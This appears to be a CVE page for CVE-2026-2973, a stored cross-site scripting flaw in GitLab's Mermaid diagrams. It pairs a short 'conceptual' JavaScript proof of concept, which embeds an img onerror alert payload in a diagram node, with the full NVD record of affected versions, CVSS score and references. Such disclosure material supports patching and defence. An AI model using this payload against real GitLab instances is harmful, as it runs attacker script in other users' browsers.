CVE-2026-2973

// Conceptual PoC for CVE-2026-2973: Mermaid Diagram XSS // Attacker injects payload via Mermaid syntax in an Issue/Comment const payload = `graph TD; A[Start] --> B{<img src=x onerror=alert('CVE-2026-2973')>}; B --> C[End]; `; // In a real scenario, the attacker would input this into the Mermaid diagram block. // The vulnerability stems from improper sanitization of entity-encoded content, // allowing the browser to parse the HTML/JS within the diagram node. console.log("Payload injected: " + payload);

{"cve": {"id": "CVE-2026-2973", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:58.183", "lastModified": "2026-03-26T17:43:28.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.7 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that could have allowed an authenticated user to execute arbitrary JavaScript in a user's browser due to improper sanitization of entity-encoded content in Mermaid diagrams."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones desde la 17.7 y anteriores a la 18.8.7, la 18.9 y anteriores a la 18.9.3, y la 18.10 y anteriores a la 18.10.1 que podría haber permitido a un usuario autenticado ejecutar JavaScript arbitrario en el navegador de un usuario debido a una sanitización incorrecta del contenido codificado por entidades en los diagramas de Mermaid."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "17.7.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "70E34BB8-A1A5-4A52-BC2D-D146F05CF974"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.7.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "A8AE2657-B060-4415-95A1-BC32BA1DC06B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "96F7E7EC-4C2E-4A48-8134-9262B251C89C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "C3240349-67A3-43E2-BAD9-EFAA3E0A5D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:community:*:*:*", "matchCriteriaId": "D5B6ECC9-6AEA-4DD0-B12B-A3A7A9FE91DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "2B8DF779-B99E-4096-B734-78AB1849D136"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/591049", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3566802", "source": "[email protected]", "tags": ["Permissions Required"]}]}}